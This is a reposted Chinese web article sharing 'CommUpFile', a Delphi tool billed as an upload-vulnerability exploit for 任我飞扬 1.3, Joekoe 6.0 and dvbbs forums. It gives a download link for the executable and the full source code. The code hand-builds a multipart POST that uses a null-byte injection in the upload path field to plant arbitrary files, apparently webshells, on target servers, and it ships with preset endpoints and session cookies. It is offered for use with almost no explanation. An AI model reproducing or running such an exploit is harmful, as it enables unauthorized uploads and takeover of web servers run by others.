网站上传漏洞利用程序

ab金哲

ab金哲

2016-02-19 16:22

想要天天向上,就要懂得享受学习。图老师为大家推荐网站上传漏洞利用程序,精彩的内容需要你们用心的阅读。还在等什么快点来看看吧!
 

  对任我飞扬1.3,乔客6.0,dvbbs 3.0 sp2之前所有版本有效,其它论坛也可以使用,具体原理不再分析,以前的很多文章都有介绍。
  
  软件下载地址:
  
  http://free.efile.com.cn/hnxyy/CommUpFile.exe
  
  
  原代码:
  
  unit untmain;

  interface

(本文来源于图老师网站,更多请访问https://m.tulaoshi.com/bianchengyuyan/)

  uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, StdCtrls,IdHttp, Buttons, ScktComp;

  type
    TForm1 = class(TForm)
      Label1: TLabel;
      EdtHost: TEdit;
      Label2: TLabel;
      EdtPort: TEdit;
      BtnQuery: TButton;
      Label3: TLabel;
      LblNum: TLabel;
      Label5: TLabel;
      Memo1: TMemo;
      Label4: TLabel;
      EdtUrl: TEdit;
      Label6: TLabel;
      EdtPathField: TEdit;
      Label7: TLabel;
      EdtFileField: TEdit;
      Label8: TLabel;
      EdtUpPath: TEdit;
      Label9: TLabel;
      EdtType: TEdit;
      Label11: TLabel;
      Label12: TLabel;
      Memo2: TMemo;
      cls: TClientSocket;
      BtnSubmit: TButton;
      BtnClose: TButton;
      Memo3: TMemo;
      Label13: TLabel;
      rb1: TRadioButton;
      rb2: TRadioButton;
      rb3: TRadioButton;
      procedure BtnQueryClick(Sender: TObject);
      procedure BtnCloseClick(Sender: TObject);
      procedure BtnSubmitClick(Sender: TObject);
      procedure clsError(Sender: TObject; Socket: TCustomWinSocket;
        ErrorEvent: TErrorEvent; var ErrorCode: Integer);
      procedure clsRead(Sender: TObject; Socket: TCustomWinSocket);
      procedure clsConnect(Sender: TObject; Socket: TCustomWinSocket);
      procedure FormShow(Sender: TObject);
      procedure rb2Click(Sender: TObject);
      procedure rb3Click(Sender: TObject);
      procedure rb1Click(Sender: TObject);
    private
      { Private declarations }
      bbspath,urlpath,upfname,host,ftype:string;
      procedure IniVariant;
      procedure SendData;
      procedure SetRdbCheck(rd:TRadioButton);
    public
      { Public declarations }
    end;

  var
    Form1: TForm1;

  implementation

  {$R *.dfm}

  //查询网站全球排名
  procedure TForm1.BtnQueryClick(Sender: TObject);
  var
    idhttp:TIdHTTP;
    ResultStr:string;
    iStart,iEnd,iPos:integer;
  begin
    Memo3.Clear;
    idhttp :=TIdHTTP.Create(nil);
    idhttp.Port :=strtoint(trim(edtport.text));
    try
      ResultStr :=idhttp.Get('http://data.alexa.com/data?cli=10&dat=snba&url='+trim(EdtHost.Text));
      Memo3.Text :=ResultStr;
      if pos('POPULARITY',ResultStr)0 then
      begin
        iPos :=pos('POPULARITY',ResultStr);
        ResultStr :=copy(ResultStr,iPos,length(ResultStr)-iPos);
        iStart :=pos('TEXT=',ResultStr);
        iEnd :=pos('/',ResultStr);
        ResultStr :=copy(ResultStr,iStart+6,iEnd-iStart-7);
        LblNum.Caption :=ResultStr;
      end else
      begin
        LblNum.Caption :='not found';
      end;
    finally
      idhttp.Free;
    end;
  end;

  procedure TForm1.BtnCloseClick(Sender: TObject);
  begin
    Close;
  end;

  procedure TForm1.BtnSubmitClick(Sender: TObject);
  begin
    if lowercase(copy(trim(EdtUrl.Text),1,7))'http://' then
    begin
      Application.MessageBox('输入地址有误,请检查是否以"http://"开头!','提示',mb_ok+mb_iconinformation);
      exit;
    end;
    Memo3.Clear;
    IniVariant;
    SendData;
  end;

  procedure TForm1.clsError(Sender: TObject; Socket: TCustomWinSocket;
    ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  begin
    errorcode:=0;
    cls.Active :=False;
  end;

  procedure TForm1.clsRead(Sender: TObject; Socket: TCustomWinSocket);
  var
    ss:string;
  begin
    ss:=socket.ReceiveText;
    Memo3.Text :=ss;
    if pos('成功',ss)0 then
    begin
      Application.MessageBox('上传成功!','提示',mb_ok+mb_iconinformation);
      cls.Active :=False;
    end;
  end;

  procedure TForm1.SendData;
  var
    ss,ss1,updata:string;
    i:integer;
  begin
    for i:=0 to Memo1.Lines.Count-1 do
      updata :=updata+Memo1.Lines[i];
    //Http头信息
    ss:='POST '+bbspath+' HTTP/1.1'+#13#10;
    ss:=ss+'Content-Type: multipart/form-data; boundary=www.wrsky.com'+#13#10;
    ss:=ss+'Referer: http://'+host+bbspath+#13#10;
    //ss:=ss+'Accept-Language: zh-cn'+#13#10;
    //ss:=ss+'Connection: Keep-Alive'+#13#10;
    //ss:=ss+'Cache-Control: no-cache'+#13#10;
    //ss:=ss+'Accept-Encoding: gzip, deflate'+#13#10;
    //ss:=ss+'User-Agent: Mozilla/4.0 '+#13#10;
    ss:=ss+'Host: '+host+#13#10;
    //发送的内容
    ss1:=ss1+'www.wrsky.com'+#13#10;
    ss1:=ss1+'Content-Disposition: form-data; name="'+trim(EdtPathField.Text)+'"'+#13#10#13#10;
    ss1:=ss1+upfname+char(0)+#13#10;
    ss1:=ss1+'www.wrsky.com'+#13#10;
    ss1:=ss1+'Content-Disposition: form-data; name="'+trim(EdtFileField.Text)+'"; filename="D:ewmm.'+ftype+'"'+#13#10;
    ss1:=ss1+'Content-Type: text/plain'+#13#10#13#10;
    ss1:=ss1+updata+#13#10#13#10;
    ss1:=ss1+'www.wrsky.com'+#13#10;
    ss1:=ss1+'Content-Disposition: form-data; name="submit"'+#13#10#13#10;
    ss1:=ss1+'上传'+#13#10;
    ss1:=ss1+'www.wrsky.com--'+#13#10#13#10;

    ss:=ss+'Content-Length: '+inttostr(length(ss1))+#13#10;
    ss:=ss+'Cookie: '+trim(Memo2.Text)+#13#10#13#10;
    ss:=ss+ss1;
    cls.Socket.SendText(ss);
  end;

  procedure TForm1.clsConnect(Sender: TObject; Socket: TCustomWinSocket);
  begin
    SendData;
  end;

  procedure TForm1.IniVariant;
  var
    iPos:integer;
  begin
    urlpath :=trim(edturl.text);
    urlpath :=copy(urlpath,8,length(urlpath)-7);
    ipos:=pos('/',urlpath);
    host:=copy(urlpath,1,iPos-1);
    bbspath:=copy(urlpath,iPos,length(urlpath)-iPos+1);
    upfname :=trim(EdtUpPath.Text);
    ftype :=trim(edttype.text);
    cls.Host :=host;
    cls.Port :=80;
    cls.Active :=True;
  end;

  procedure TForm1.FormShow(Sender: TObject);
  begin
    SetRdbCheck(rb1);
  end;

  procedure TForm1.SetRdbCheck(rd: TRadioButton);
  begin
    //任我飞扬1.3
    if rd=rb1 then
    begin
      EdtUrl.Text :='http://www.xxx.com/img_upfile.asp';
      EdtPathField.Text :='filepath';
      EdtFileField.Text :='file1';
      Memo2.Text :='IsFirst=True;ASPSESSIONIDSSQAQQAC=FBHDKLAAILJJEFPAJGMIAGGO';
    end;
    //Joekoe V6.0
    if rd=rb2 then
    begin
      EdtUrl.Text :='http://www.xxx.com/upload.asp?action=upfile';
      EdtPathField.Text :='up_name';
      EdtFileField.Text :='file_name1';
      Memo2.Text :='需要自己抓取';
    end;
    //dvbbs 7.0
    if rd=rb3 then
    begin
      EdtUrl.Text :='http://www.xxx.com/bbs/upfile.asp';
      EdtPathField.Text :='filepath';
      EdtFileField.Text :='file1';
      Memo2.Text :='iscookies=0;ASPSESSIONIDACRQTBCS=OGALDEBDBBIGMLOHFKMOJFKO';
    end;
  end;

  procedure TForm1.rb2Click(Sender: TObject);
  begin
    SetRdbCheck(rb2);
  end;

  procedure TForm1.rb3Click(Sender: TObject);
  begin
    SetRdbCheck(rb3);
  end;

  procedure TForm1.rb1Click(Sender: TObject);
  begin
    SetRdbCheck(rb1);
  end;

(本文来源于图老师网站,更多请访问https://m.tulaoshi.com/bianchengyuyan/)

  end.
  
  ////////////////////////////////////////////////////////////////
  CommUpFile 1.0

  作者:Hnxyy  QQ:19026695

   2004.12.07    北京

展开更多 50%)
分享

猜你喜欢

网站上传漏洞利用程序

编程语言 网络编程
网站上传漏洞利用程序

jQuery.fakeFile插件:网站上传控件

Web开发
jQuery.fakeFile插件:网站上传控件

s8lol主宰符文怎么配

英雄联盟 网络游戏
s8lol主宰符文怎么配

酷盘如何使用酷盘网站上传文件

电脑网络
酷盘如何使用酷盘网站上传文件

写远程缓冲区溢出漏洞利用程序

编程语言 网络编程
写远程缓冲区溢出漏洞利用程序

lol偷钱流符文搭配推荐

英雄联盟 网络游戏
lol偷钱流符文搭配推荐

ASP终极防范上传漏洞

ASP
ASP终极防范上传漏洞

酷盘PC版上传完后删除电脑的文件时网站上同时没了

电脑网络
酷盘PC版上传完后删除电脑的文件时网站上同时没了

lolAD刺客新符文搭配推荐

英雄联盟
lolAD刺客新符文搭配推荐

如何限制Linux用户的访问权限

如何限制Linux用户的访问权限

ASP入门基础教程-单条件选择结构

ASP入门基础教程-单条件选择结构
下拉加载更多内容 ↓